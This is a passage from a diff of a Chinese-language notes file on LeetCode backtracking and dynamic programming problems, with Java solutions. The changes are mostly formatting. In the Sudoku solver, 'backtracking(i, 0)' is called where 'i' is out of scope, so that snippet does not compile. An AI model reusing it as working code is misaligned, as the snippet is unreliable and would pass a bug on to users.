-public List<List<Integer>> combinationSum3(int k, int n) {
-    List<List<Integer>> combinations = new ArrayList<>();
-    List<Integer> path = new ArrayList<>();
-    backtracking(k, n, 1, path, combinations);
-    return combinations;
+public List<List<Integer>> combinationSum3(int k, int n) {
+    List<List<Integer>> combinations = new ArrayList<>();
+    List<Integer> path = new ArrayList<>();
+    backtracking(k, n, 1, path, combinations);
+    return combinations;
 }
 
-private void backtracking(int k, int n, int start,
-                          List<Integer> tempCombination, List<List<Integer>> combinations) {
+private void backtracking(int k, int n, int start,
+                          List<Integer> tempCombination, List<List<Integer>> combinations) {
 
-    if (k == 0 && n == 0) {
-        combinations.add(new ArrayList<>(tempCombination));
-        return;
-    }
-    if (k == 0 || n == 0) {
-        return;
-    }
-    for (int i = start; i <= 9; i++) {
-        tempCombination.add(i);
-        backtracking(k - 1, n - i, i + 1, tempCombination, combinations);
-        tempCombination.remove(tempCombination.size() - 1);
-    }
+    if (k == 0 && n == 0) {
+        combinations.add(new ArrayList<>(tempCombination));
+        return;
+    }
+    if (k == 0 || n == 0) {
+        return;
+    }
+    for (int i = start; i <= 9; i++) {
+        tempCombination.add(i);
+        backtracking(k - 1, n - i, i + 1, tempCombination, combinations);
+        tempCombination.remove(tempCombination.size() - 1);
+    }
 }
 ```
 
-**子集**
+**子集** 
 
-[78. Subsets (Medium)](https://leetcode.com/problems/subsets/description/)
+[78. Subsets (Medium)](https://leetcode.com/problems/subsets/description/)
 
-找出集合的所有子集，子集不能重复，[1, 2] 和 [2, 1] 这种子集算重复
+找出集合的所有子集，子集不能重复，[1, 2] 和 [2, 1] 这种子集算重复
 
 ```java
-public List<List<Integer>> subsets(int[] nums) {
-    List<List<Integer>> subsets = new ArrayList<>();
-    List<Integer> tempSubset = new ArrayList<>();
-    for (int size = 0; size <= nums.length; size++) {
-        backtracking(0, tempSubset, subsets, size, nums); // 不同的子集大小
-    }
-    return subsets;
+public List<List<Integer>> subsets(int[] nums) {
+    List<List<Integer>> subsets = new ArrayList<>();
+    List<Integer> tempSubset = new ArrayList<>();
+    for (int size = 0; size <= nums.length; size++) {
+        backtracking(0, tempSubset, subsets, size, nums); // 不同的子集大小
+    }
+    return subsets;
 }
 
-private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets,
-                          final int size, final int[] nums) {
+private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets,
+                          final int size, final int[] nums) {
 
-    if (tempSubset.size() == size) {
-        subsets.add(new ArrayList<>(tempSubset));
-        return;
-    }
-    for (int i = start; i < nums.length; i++) {
-        tempSubset.add(nums[i]);
-        backtracking(i + 1, tempSubset, subsets, size, nums);
-        tempSubset.remove(tempSubset.size() - 1);
-    }
+    if (tempSubset.size() == size) {
+        subsets.add(new ArrayList<>(tempSubset));
+        return;
+    }
+    for (int i = start; i < nums.length; i++) {
+        tempSubset.add(nums[i]);
+        backtracking(i + 1, tempSubset, subsets, size, nums);
+        tempSubset.remove(tempSubset.size() - 1);
+    }
 }
 ```
 
-**含有相同元素求子集**
+**含有相同元素求子集** 
 
-[90. Subsets II (Medium)](https://leetcode.com/problems/subsets-ii/description/)
+[90. Subsets II (Medium)](https://leetcode.com/problems/subsets-ii/description/)
 
 ```html
-For example,
-If nums = [1,2,2], a solution is:
+For example,
+If nums = [1,2,2], a solution is:
 
 [
-  [2],
-  [1],
-  [1,2,2],
-  [2,2],
-  [1,2],
-  []
+  [2],
+  [1],
+  [1,2,2],
+  [2,2],
+  [1,2],
+  []
 ]
 ```
 
 ```java
-public List<List<Integer>> subsetsWithDup(int[] nums) {
-    Arrays.sort(nums);
-    List<List<Integer>> subsets = new ArrayList<>();
-    List<Integer> tempSubset = new ArrayList<>();
-    boolean[] hasVisited = new boolean[nums.length];
-    for (int size = 0; size <= nums.length; size++) {
-        backtracking(0, tempSubset, subsets, hasVisited, size, nums); // 不同的子集大小
-    }
-    return subsets;
+public List<List<Integer>> subsetsWithDup(int[] nums) {
+    Arrays.sort(nums);
+    List<List<Integer>> subsets = new ArrayList<>();
+    List<Integer> tempSubset = new ArrayList<>();
+    boolean[] hasVisited = new boolean[nums.length];
+    for (int size = 0; size <= nums.length; size++) {
+        backtracking(0, tempSubset, subsets, hasVisited, size, nums); // 不同的子集大小
+    }
+    return subsets;
 }
 
-private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets, boolean[] hasVisited,
-                          final int size, final int[] nums) {
+private void backtracking(int start, List<Integer> tempSubset, List<List<Integer>> subsets, boolean[] hasVisited,
+                          final int size, final int[] nums) {
 
-    if (tempSubset.size() == size) {
-        subsets.add(new ArrayList<>(tempSubset));
-        return;
-    }
-    for (int i = start; i < nums.length; i++) {
-        if (i != 0 && nums[i] == nums[i - 1] && !hasVisited[i - 1]) {
-            continue;
-        }
-        tempSubset.add(nums[i]);
-        hasVisited[i] = true;
-        backtracking(i + 1, tempSubset, subsets, hasVisited, size, nums);
-        hasVisited[i] = false;
-        tempSubset.remove(tempSubset.size() - 1);
-    }
+    if (tempSubset.size() == size) {
+        subsets.add(new ArrayList<>(tempSubset));
+        return;
+    }
+    for (int i = start; i < nums.length; i++) {
+        if (i != 0 && nums[i] == nums[i - 1] && !hasVisited[i - 1]) {
+            continue;
+        }
+        tempSubset.add(nums[i]);
+        hasVisited[i] = true;
+        backtracking(i + 1, tempSubset, subsets, hasVisited, size, nums);
+        hasVisited[i] = false;
+        tempSubset.remove(tempSubset.size() - 1);
+    }
 }
 ```
 
-**分割字符串使得每个部分都是回文数**
+**分割字符串使得每个部分都是回文数** 
 
-[131. Palindrome Partitioning (Medium)](https://leetcode.com/problems/palindrome-partitioning/description/)
+[131. Palindrome Partitioning (Medium)](https://leetcode.com/problems/palindrome-partitioning/description/)
 
 ```html
-For example, given s = "aab",
+For example, given s = "aab",
 Return
 
 [
-  ["aa","b"],
-  ["a","a","b"]
+  ["aa","b"],
+  ["a","a","b"]
 ]
 ```
 
 ```java
-public List<List<String>> partition(String s) {
-    List<List<String>> partitions = new ArrayList<>();
-    List<String> tempPartition = new ArrayList<>();
-    doPartition(s, partitions, tempPartition);
-    return partitions;
+public List<List<String>> partition(String s) {
+    List<List<String>> partitions = new ArrayList<>();
+    List<String> tempPartition = new ArrayList<>();
+    doPartition(s, partitions, tempPartition);
+    return partitions;
 }
 
-private void doPartition(String s, List<List<String>> partitions, List<String> tempPartition) {
-    if (s.length() == 0) {
-        partitions.add(new ArrayList<>(tempPartition));
-        return;
-    }
-    for (int i = 0; i < s.length(); i++) {
-        if (isPalindrome(s, 0, i)) {
-            tempPartition.add(s.substring(0, i + 1));
-            doPartition(s.substring(i + 1), partitions, tempPartition);
-            tempPartition.remove(tempPartition.size() - 1);
-        }
-    }
+private void doPartition(String s, List<List<String>> partitions, List<String> tempPartition) {
+    if (s.length() == 0) {
+        partitions.add(new ArrayList<>(tempPartition));
+        return;
+    }
+    for (int i = 0; i < s.length(); i++) {
+        if (isPalindrome(s, 0, i)) {
+            tempPartition.add(s.substring(0, i + 1));
+            doPartition(s.substring(i + 1), partitions, tempPartition);
+            tempPartition.remove(tempPartition.size() - 1);
+        }
+    }
 }
 
-private boolean isPalindrome(String s, int begin, int end) {
-    while (begin < end) {
-        if (s.charAt(begin++) != s.charAt(end--)) {
-            return false;
-        }
-    }
-    return true;
+private boolean isPalindrome(String s, int begin, int end) {
+    while (begin < end) {
+        if (s.charAt(begin++) != s.charAt(end--)) {
+            return false;
+        }
+    }
+    return true;
 }
 ```
 
-**数独**
+**数独** 
 
-[37. Sudoku Solver (Hard)](https://leetcode.com/problems/sudoku-solver/description/)
+[37. Sudoku Solver (Hard)](https://leetcode.com/problems/sudoku-solver/description/)
 
-![](index_files/1ca52246-c443-48ae-b1f8-1cafc09ec75c.png)
+<div align="center"> <img src="pics/1ca52246-c443-48ae-b1f8-1cafc09ec75c.png"/> </div><br>
 
 ```java
-private boolean[][] rowsUsed = new boolean[9][10];
-private boolean[][] colsUsed = new boolean[9][10];
-private boolean[][] cubesUsed = new boolean[9][10];
-private char[][] board;
+private boolean[][] rowsUsed = new boolean[9][10];
+private boolean[][] colsUsed = new boolean[9][10];
+private boolean[][] cubesUsed = new boolean[9][10];
+private char[][] board;
 
-public void solveSudoku(char[][] board) {
-    this.board = board;
-    for (int i = 0; i < 9; i++)
-        for (int j = 0; j < 9; j++) {
-            if (board[i][j] == '.') {
-                continue;
-            }
-            int num = board[i][j] - '0';
-            rowsUsed[i][num] = true;
-            colsUsed[j][num] = true;
-            cubesUsed[cubeNum(i, j)][num] = true;
-        }
-        backtracking(i, 0);
+public void solveSudoku(char[][] board) {
+    this.board = board;
+    for (int i = 0; i < 9; i++)
+        for (int j = 0; j < 9; j++) {
+            if (board[i][j] == '.') {
+                continue;
+            }
+            int num = board[i][j] - '0';
+            rowsUsed[i][num] = true;
+            colsUsed[j][num] = true;
+            cubesUsed[cubeNum(i, j)][num] = true;
+        }
+        backtracking(i, 0);
 }
 
-private boolean backtracking(int row, int col) {
-    while (row < 9 && board[row][col] != '.') {
-        row = col == 8 ? row + 1 : row;
-        col = col == 8 ? 0 : col + 1;
-    }
-    if (row == 9) {
-        return true;
-    }
-    for (int num = 1; num <= 9; num++) {
-        if (rowsUsed[row][num] || colsUsed[col][num] || cubesUsed[cubeNum(row, col)][num]) {
-            continue;
-        }
-        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = true;
-        board[row][col] = (char) (num + '0');
-        if (backtracking(row, col)) {
-            return true;
-        }
-        board[row][col] = '.';
-        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = false;
-    }
-    return false;
+private boolean backtracking(int row, int col) {
+    while (row < 9 && board[row][col] != '.') {
+        row = col == 8 ? row + 1 : row;
+        col = col == 8 ? 0 : col + 1;
+    }
+    if (row == 9) {
+        return true;
+    }
+    for (int num = 1; num <= 9; num++) {
+        if (rowsUsed[row][num] || colsUsed[col][num] || cubesUsed[cubeNum(row, col)][num]) {
+            continue;
+        }
+        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = true;
+        board[row][col] = (char) (num + '0');
+        if (backtracking(row, col)) {
+            return true;
+        }
+        board[row][col] = '.';
+        rowsUsed[row][num] = colsUsed[col][num] = cubesUsed[cubeNum(row, col)][num] = false;
+    }
+    return false;
 }
 
-private int cubeNum(int i, int j) {
-    int r = i / 3;
-    int c = j / 3;
-    return r * 3 + c;
+private int cubeNum(int i, int j) {
+    int r = i / 3;
+    int c = j / 3;
+    return r * 3 + c;
 }
 ```
 
-**N 皇后**
+**N 皇后** 
 
-[51. N-Queens (Hard)](https://leetcode.com/problems/n-queens/description/)
+[51. N-Queens (Hard)](https://leetcode.com/problems/n-queens/description/)
 
-![](index_files/1f080e53-4758-406c-bb5f-dbedf89b63ce.jpg)
+<div align="center"> <img src="pics/1f080e53-4758-406c-bb5f-dbedf89b63ce.jpg"/> </div><br>
 
-在 n\*n 的矩阵中摆放 n 个皇后，并且每个皇后不能在同一行，同一列，同一对角线上，求所有的 n 皇后的解。
+在 n\*n 的矩阵中摆放 n 个皇后，并且每个皇后不能在同一行，同一列，同一对角线上，求所有的 n 皇后的解。
 
-一行一行地摆放，在确定一行中的那个皇后应该摆在哪一列时，需要用三个标记数组来确定某一列是否合法，这三个标记数组分别为：列标记数组、45 度对角线标记数组和 135 度对角线标记数组。
+一行一行地摆放，在确定一行中的那个皇后应该摆在哪一列时，需要用三个标记数组来确定某一列是否合法，这三个标记数组分别为：列标记数组、45 度对角线标记数组和 135 度对角线标记数组。
 
-45 度对角线标记数组的长度为 2 \* n - 1，通过下图可以明确 (r, c) 的位置所在的数组下标为 r + c。
+45 度对角线标记数组的长度为 2 \* n - 1，通过下图可以明确 (r, c) 的位置所在的数组下标为 r + c。
 
-![](index_files/85583359-1b45-45f2-9811-4f7bb9a64db7.jpg)
+<div align="center"> <img src="pics/85583359-1b45-45f2-9811-4f7bb9a64db7.jpg"/> </div><br>
 
-135 度对角线标记数组的长度也是 2 \* n - 1，(r, c) 的位置所在的数组下标为 n - 1 - (r - c)。
+135 度对角线标记数组的长度也是 2 \* n - 1，(r, c) 的位置所在的数组下标为 n - 1 - (r - c)。
 
-![](index_files/9e80f75a-b12b-4344-80c8-1f9ccc2d5246.jpg)
+<div align="center"> <img src="pics/9e80f75a-b12b-4344-80c8-1f9ccc2d5246.jpg"/> </div><br>
 
 ```java
-private List<List<String>> solutions;
-private char[][] nQueens;
-private boolean[] colUsed;
-private boolean[] diagonals45Used;
-private boolean[] diagonals135Used;
-private int n;
+private List<List<String>> solutions;
+private char[][] nQueens;
+private boolean[] colUsed;
+private boolean[] diagonals45Used;
+private boolean[] diagonals135Used;
+private int n;
 
-public List<List<String>> solveNQueens(int n) {
-    solutions = new ArrayList<>();
-    nQueens = new char[n][n];
-    for (int i = 0; i < n; i++) {
-        Arrays.fill(nQueens[i], '.');
-    }
-    colUsed = new boolean[n];
-    diagonals45Used = new boolean[2 * n - 1];
-    diagonals135Used = new boolean[2 * n - 1];
-    this.n = n;
-    backtracking(0);
-    return solutions;
+public List<List<String>> solveNQueens(int n) {
+    solutions = new ArrayList<>();
+    nQueens = new char[n][n];
+    for (int i = 0; i < n; i++) {
+        Arrays.fill(nQueens[i], '.');
+    }
+    colUsed = new boolean[n];
+    diagonals45Used = new boolean[2 * n - 1];
+    diagonals135Used = new boolean[2 * n - 1];
+    this.n = n;
+    backtracking(0);
+    return solutions;
 }
 
-private void backtracking(int row) {
-    if (row == n) {
-        List<String> list = new ArrayList<>();
-        for (char[] chars : nQueens) {
-            list.add(new String(chars));
-        }
-        solutions.add(list);
-        return;
-    }
+private void backtracking(int row) {
+    if (row == n) {
+        List<String> list = new ArrayList<>();
+        for (char[] chars : nQueens) {
+            list.add(new String(chars));
+        }
+        solutions.add(list);
+        return;
+    }
 
-    for (int col = 0; col < n; col++) {
-        int diagonals45Idx = row + col;
-        int diagonals135Idx = n - 1 - (row - col);
-        if (colUsed[col] || diagonals45Used[diagonals45Idx] || diagonals135Used[diagonals135Idx]) {
-            continue;
-        }
-        nQueens[row][col] = 'Q';
-        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = true;
-        backtracking(row + 1);
-        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = false;
-        nQueens[row][col] = '.';
-    }
+    for (int col = 0; col < n; col++) {
+        int diagonals45Idx = row + col;
+        int diagonals135Idx = n - 1 - (row - col);
+        if (colUsed[col] || diagonals45Used[diagonals45Idx] || diagonals135Used[diagonals135Idx]) {
+            continue;
+        }
+        nQueens[row][col] = 'Q';
+        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = true;
+        backtracking(row + 1);
+        colUsed[col] = diagonals45Used[diagonals45Idx] = diagonals135Used[diagonals135Idx] = false;
+        nQueens[row][col] = '.';
+    }
 }
 ```
 
-## 动态规划
+## 动态规划
 
 递归和动态规划都是将原问题拆成多个子问题然后求解，他们之间最本质的区别是，动态规划保存了子问题的解，避免重复计算。
 
-### 斐波那契数列
+### 斐波那契数列
 
-**爬楼梯**
+**爬楼梯** 
 
-[70. Climbing Stairs (Easy)](https://leetcode.com/problems/climbing-stairs/description/)
+[70. Climbing Stairs (Easy)](https://leetcode.com/problems/climbing-stairs/description/)
 
-题目描述：有 N 阶楼梯，每次可以上一阶或者两阶，求有多少种上楼梯的方法。
+题目描述：有 N 阶楼梯，每次可以上一阶或者两阶，求有多少种上楼梯的方法。
 
-定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。
+定义一个数组 dp 存储上楼梯的方法数（为了方便讨论，数组下标从 1 开始），dp[i] 表示走到第 i 个楼梯的方法数目。
 
-第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
+第 i 个楼梯可以从第 i-1 和 i-2 个楼梯再走一步到达，走到第 i 个楼梯的方法数为走到第 i-1 和第 i-2 个楼梯的方法数之和。
 
-$$dp[i] = dp[i-1] + dp[i-2]$$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-2]"/></div> <br>
 
-考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关，因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2]，使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度。
+考虑到 dp[i] 只与 dp[i - 1] 和 dp[i - 2] 有关，因此可以只用两个变量来存储 dp[i - 1] 和 dp[i - 2]，使得原来的 O(N) 空间复杂度优化为 O(1) 复杂度。
 
 ```java
-public int climbStairs(int n) {
-    if (n <= 2) {
-        return n;
-    }
-    int pre2 = 1, pre1 = 2;
-    for (int i = 2; i < n; i++) {
-        int cur = pre1 + pre2;
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+public int climbStairs(int n) {
+    if (n <= 2) {
+        return n;
+    }
+    int pre2 = 1, pre1 = 2;
+    for (int i = 2; i < n; i++) {
+        int cur = pre1 + pre2;
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**强盗抢劫**
+**强盗抢劫** 
 
-[198. House Robber (Easy)](https://leetcode.com/problems/house-robber/description/)
+[198. House Robber (Easy)](https://leetcode.com/problems/house-robber/description/)
 
 题目描述：抢劫一排住户，但是不能抢邻近的住户，求最大抢劫量。
 
-定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
+定义 dp 数组用来存储最大的抢劫量，其中 dp[i] 表示抢到第 i 个住户时的最大抢劫量。
 
-由于不能抢劫邻近住户，如果抢劫了第 i -1 个住户，那么就不能再抢劫第 i 个住户，所以
+由于不能抢劫邻近住户，如果抢劫了第 i -1 个住户，那么就不能再抢劫第 i 个住户，所以
 
-$$dp[i] = max(dp[i - 2] + nums[i], dp[i - 1])$$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=max(dp[i-2]+nums[i],dp[i-1])"/></div> <br>
 
 ```java
-public int rob(int[] nums) {
-    int pre2 = 0, pre1 = 0;
-    for (int i = 0; i < nums.length; i++) {
-        int cur = Math.max(pre2 + nums[i], pre1);
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+public int rob(int[] nums) {
+    int pre2 = 0, pre1 = 0;
+    for (int i = 0; i < nums.length; i++) {
+        int cur = Math.max(pre2 + nums[i], pre1);
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**强盗在环形街区抢劫**
+**强盗在环形街区抢劫** 
 
-[213. House Robber II (Medium)](https://leetcode.com/problems/house-robber-ii/description/)
+[213. House Robber II (Medium)](https://leetcode.com/problems/house-robber-ii/description/)
 
 ```java
-public  int rob(int[] nums) {
-    if (nums == null || nums.length == 0) {
-        return 0;
-    }
-    int n = nums.length;
-    if (n == 1) {
-        return nums[0];
-    }
-    return Math.max(rob(nums, 0, n - 2), rob(nums, 1, n - 1));
+public  int rob(int[] nums) {
+    if (nums == null || nums.length == 0) {
+        return 0;
+    }
+    int n = nums.length;
+    if (n == 1) {
+        return nums[0];
+    }
+    return Math.max(rob(nums, 0, n - 2), rob(nums, 1, n - 1));
 }
 
-private   int rob(int[] nums, int first, int last) {
-    int pre2 = 0, pre1 = 0;
-    for (int i = first; i <= last; i++) {
-        int cur = Math.max(pre1, pre2 + nums[i]);
-        pre2 = pre1;
-        pre1 = cur;
-    }
-    return pre1;
+private   int rob(int[] nums, int first, int last) {
+    int pre2 = 0, pre1 = 0;
+    for (int i = first; i <= last; i++) {
+        int cur = Math.max(pre1, pre2 + nums[i]);
+        pre2 = pre1;
+        pre1 = cur;
+    }
+    return pre1;
 }
 ```
 
-**信件错排**
+**信件错排** 
 
-题目描述：有 N 个 信 和 信封，它们被打乱，求错误装信方式的数量。
+题目描述：有 N 个 信 和 信封，它们被打乱，求错误装信方式的数量。
 
-定义一个数组 dp 存储错误方式数量，dp[i] 表示前 i 个信和信封的错误方式数量。假设第 i 个信装到第 j 个信封里面，而第 j 个信装到第 k 个信封里面。根据 i 和 k 是否相等，有两种情况：
+定义一个数组 dp 存储错误方式数量，dp[i] 表示前 i 个信和信封的错误方式数量。假设第 i 个信装到第 j 个信封里面，而第 j 个信装到第 k 个信封里面。根据 i 和 k 是否相等，有两种情况：
 
-- i==k，交换 i 和 k 的信后，它们的信和信封在正确的位置，但是其余 i-2 封信有 dp[i-2] 种错误装信的方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-2] 种错误装信方式。
-- i != k，交换 i 和 j 的信后，第 i 个信和信封在正确的位置，其余 i-1 封信有 dp[i-1] 种错误装信方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-1] 种错误装信方式。
+- i==k，交换 i 和 k 的信后，它们的信和信封在正确的位置，但是其余 i-2 封信有 dp[i-2] 种错误装信的方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-2] 种错误装信方式。
+- i != k，交换 i 和 j 的信后，第 i 个信和信封在正确的位置，其余 i-1 封信有 dp[i-1] 种错误装信方式。由于 j 有 i-1 种取值，因此共有 (i-1)\*dp[i-1] 种错误装信方式。
 
 综上所述，错误装信数量方式数量为：
 
-$$ dp[i] = (i-1) * dp[i-2] + (i-1) * dp[i-1]$$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=(i-1)*dp[i-2]+(i-1)*dp[i-1]"/></div> <br>
 
-**母牛生产**
+**母牛生产** 
 
 [程序员代码面试指南-P181](#)
 
-题目描述：假设农场中成熟的母牛每年都会生 1 头小母牛，并且永远不会死。第一年有 1 只小母牛，从第二年开始，母牛开始生小母牛。每只小母牛 3 年之后成熟又可以生小母牛。给定整数 N，求 N 年后牛的数量。
+题目描述：假设农场中成熟的母牛每年都会生 1 头小母牛，并且永远不会死。第一年有 1 只小母牛，从第二年开始，母牛开始生小母牛。每只小母牛 3 年之后成熟又可以生小母牛。给定整数 N，求 N 年后牛的数量。
 
-第 i 年成熟的牛的数量为：
+第 i 年成熟的牛的数量为：
 
-$$dp[i] = dp[i-1] + dp[i-3]$$
+<div align="center"><img src="https://latex.codecogs.com/gif.latex?dp[i]=dp[i-1]+dp[i-3]"/></div> <br>
 
-### 矩阵路径
+### 矩阵路径
 
-**矩阵的最小路径和**
+**矩阵的最小路径和** 
 
-[64. Minimum Path Sum (Medium)](https://leetcode.com/problems/minimum-path-sum/description/)
+[64. Minimum Path Sum (Medium)](https://leetcode.com/problems/minimum-path-sum/description/)
 
 ```html
 [[1,3,1],
- [1,5,1],
- [4,2,1]]
-Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
+ [1,5,1],
+ [4,2,1]]
+Given the above grid map, return 7. Because the path 1→3→1→1→1 minimizes the sum.
 ```
 
 题目描述：求从矩阵的左上角到右下角的最小路径和，每次只能向右和向下移动。
 
 ```java
-public int minPathSum(int[][] grid) {
-    if (grid.length == 0 || grid[0].length == 0) {
-        return 0;
-    }
-    int m = grid.length, n = grid[0].length;
-    int[] dp = new int[n];
-    for (int i = 0; i < m; i++) {
-        for (int j = 0; j < n; j++) {
-            if (j == 0) {
-                dp[j] = dp[j];        // 只能从上侧走到该位置
-            } else if (i == 0) {
-                dp[j] = dp[j - 1];    // 只能从左侧走到该位置
-            } else {
-                dp[j] = Math.min(dp[j - 1], dp[j]);
-            }
-            dp[j] += grid[i][j];
-        }
-    }
-    return dp[n - 1];
+public int minPathSum(int[][] grid) {
+    if (grid.length == 0 || grid[0].length == 0) {
+        return 0;
+    }
+    int m = grid.length, n = grid[0].length;
+    int[] dp = new int[n];
+    for (int i = 0; i < m; i++) {
+        for (int j = 0; j < n; j++) {
+            if (j == 0) {
+                dp[j] = dp[j];        // 只能从上侧走到该位置
+            } else if (i == 0) {
+                dp[j] = dp[j - 1];    // 只能从左侧走到该位置
+            } else {
+                dp[j] = Math.min(dp[j - 1], dp[j]);
+            }
+            dp[j] += grid[i][j];
+        }
+    }
+    return dp[n - 1];
 }
 ```
 
-**矩阵的总路径数**
+**矩阵的总路径数** 
 
-[62. Unique Paths (Medium)](https://leetcode.com/problems/unique-paths/description/)
+[62. Unique Paths (Medium)](https://leetcode.com/problems/unique-paths/description/)
 
 题目描述：统计从矩阵左上角到右下角的路径总数，每次只能向右或者向下移动。
 
-![](index_files/7c98e1b6-c446-4cde-8513-5c11b9f52aea.jpg)
+<div align="center"> <img src="pics/7c98e1b6-c446-4cde-8513-5c11b9f52aea.jpg"/> </div><br>
 
 ```java
-public int uniquePaths(int m, int n) {
-    int[] dp = new int[n];
-    Arrays.fill(dp, 1);
-    for (int i = 1; i < m; i++) {
-        for (int j = 1; j < n; j++) {
-            dp[j] = dp[j] + dp[j - 1];
-        }
-    }
-    return dp[n - 1];
+public int uniquePaths(int m, int n) {
+    int[] dp = new int[n];
+    Arrays.fill(dp, 1);
+    for (int i = 1; i < m; i++) {
+        for (int j = 1; j < n; j++) {
+            dp[j] = dp[j] + dp[j - 1];
+        }
+    }
+    return dp[n - 1];
 }
 ```
 
-也可以直接用数学公式求解，这是一个组合问题。机器人总共移动的次数 S=m+n-2，向下移动的次数 D=m-1，那么问题可以看成从 S 中取出 D 个位置的组合数量，这个问题的解为 C(S, D)。
+也可以直接用数学公式求解，这是一个组合问题。机器人总共移动的次数 S=m+n-2，向下移动的次数 D=m-1，那么问题可以看成从 S 中取出 D 个位置的组合数量，这个问题的解为 C(S, D)。
 
 ```java
-public int uniquePaths(int m, int n) {
-    int S = m + n - 2;  // 总共的移动次数
-    int D = m - 1;      // 向下的移动次数
-    long ret = 1;
-    for (int i = 1; i <= D; i++) {
-        ret = ret * (S - D + i) / i;
-    }
-    return (int) ret;
+public int uniquePaths(int m, int n) {
+    int S = m + n - 2;  // 总共的移动次数
+    int D = m - 1;      // 向下的移动次数
+    long ret = 1;
+    for (int i = 1; i <= D; i++) {
+        ret = ret * (S - D + i) / i;
+    }
+    return (int) ret;
 }
 ```
 
-### 数组区间
+### 数组区间
 
-**数组区间和**
+**数组区间和** 
 
-[303. Range Sum Query - Immutable (Easy)](https://leetcode.com/problems/range-sum-query-immutable/description/)
+[303. Range Sum Query - Immutable (Easy)](https://leetcode.com/problems/range-sum-query-immutable/description/)
 
 ```html
-Given nums = [-2, 0, 3, -5, 2, -1]
+Given nums = [-2, 0, 3, -5, 2, -1]
 
-sumRange(0, 2) -> 1
-sumRange(2, 5) -> -1
-sumRange(0, 5) -> -3
+sumRange(0, 2) -> 1
+sumRange(2, 5) -> -1
+sumRange(0, 5) -> -3
 ```
 
-求区间 i ~ j 的和，可以转换为 sum[j + 1] - sum[i]，其中 sum[i] 为 0 ~ i - 1 的和。
+求区间 i \~ j 的和，可以转换为 sum[j + 1] - sum[i]，其中 sum[i] 为 0 \~ i - 1 的和。
 
 ```java
-class NumArray {
+class NumArray {
 
-    private int[] sums;
+    private int[] sums;
 
-    public NumArray(int[] nums) {
-        sums = new int[nums.length + 1];
-        for (int i = 1; i <= nums.length; i++) {
-            sums[i] = sums[i - 1] + nums[i - 1];
-        }
-    }
+    public NumArray(int[] nums) {
+        sums = new int[nums.length + 1];
+        for (int i = 1; i <= nums.length; i++) {
+            sums[i] = sums[i - 1] + nums[i - 1];
+        }
+    }
 
-    public int sumRange(int i, int j) {
-        return sums[j + 1] - sums[i];
-    }
+    public int sumRange(int i, int j) {
+        return sums[j + 1] - sums[i];
+    }
 }
 ```
 
-**数组中等差递增子区间的个数**
+**数组中等差递增子区间的个数** 
 
-[413. Arithmetic Slices (Medium)](https://leetcode.com/problems/arithmetic-slices/description/)
+[413. Arithmetic Slices (Medium)](https://leetcode.com/problems/arithmetic-slices/description/)
 
 ```html
-A = [1, 2, 3, 4]
-return: 3, for 3 arithmetic slices in A: [1, 2, 3], [2, 3, 4] and [1, 2, 3, 4] itself.
+A = [1, 2, 3, 4]
+return: 3, for 3 arithmetic slices in A: [1, 2, 3], [2, 3, 4] and [1, 2, 3, 4] itself.
 ```
 
-dp[i] 表示以 A[i] 为结尾的等差递增子区间的个数。
+dp[i] 表示以 A[i] 为结尾的等差递增子区间的个数。
 
-在 A[i] - A[i - 1] == A[i - 1] - A[i - 2] 的条件下，{A[i - 2], A[i - 1], A[i]} 是一个等差递增子区间。如果 {A[i - 3], A[i - 2], A[i - 1]} 是一个等差递增子区间，那么 {A[i - 3], A[i - 2], A[i - 1], A[i]} 也是等差递增子区间，dp[i] = dp[i-1] + 1。
+在 A[i] - A[i - 1] == A[i - 1] - A[i - 2] 的条件下，{A[i - 2], A[i - 1], A[i]} 是一个等差递增子区间。如果 {A[i - 3], A[i - 2], A[i - 1]} 是一个等差递增子区间，那么 {A[i - 3], A[i - 2], A[i - 1], A[i]} 也是等差递增子区间，dp[i] = dp[i-1] + 1。
 
 ```java
-public int numberOfArithmeticSlices(int[] A) {
-    if (A == null || A.length == 0) {
-        return 0;
-    }
-    int n = A.length;
-    int[] dp = new int[n];
-    for (int i = 2; i < n; i++) {
-        if (A[i] - A[i - 1] == A[i - 1] - A[i - 2]) {
-            dp[i] = dp[i - 1] + 1;
-        }
-    }
-    int total = 0;
-    for (int cnt : dp) {
-        total += cnt;
-    }
-    return total;
+public int numberOfArithmeticSlices(int[] A) {
+    if (A == null || A.length == 0) {
+        return 0;
+    }
+    int n = A.length;
+    int[] dp = new int[n];
+    for (int i = 2; i < n; i++) {
+        if (A[i] - A[i - 1] == A[i - 1] - A[i - 2]) {
+            dp[i] = dp[i - 1] + 1;
+        }
+    }
+    int total = 0;
+    for (int cnt : dp) {
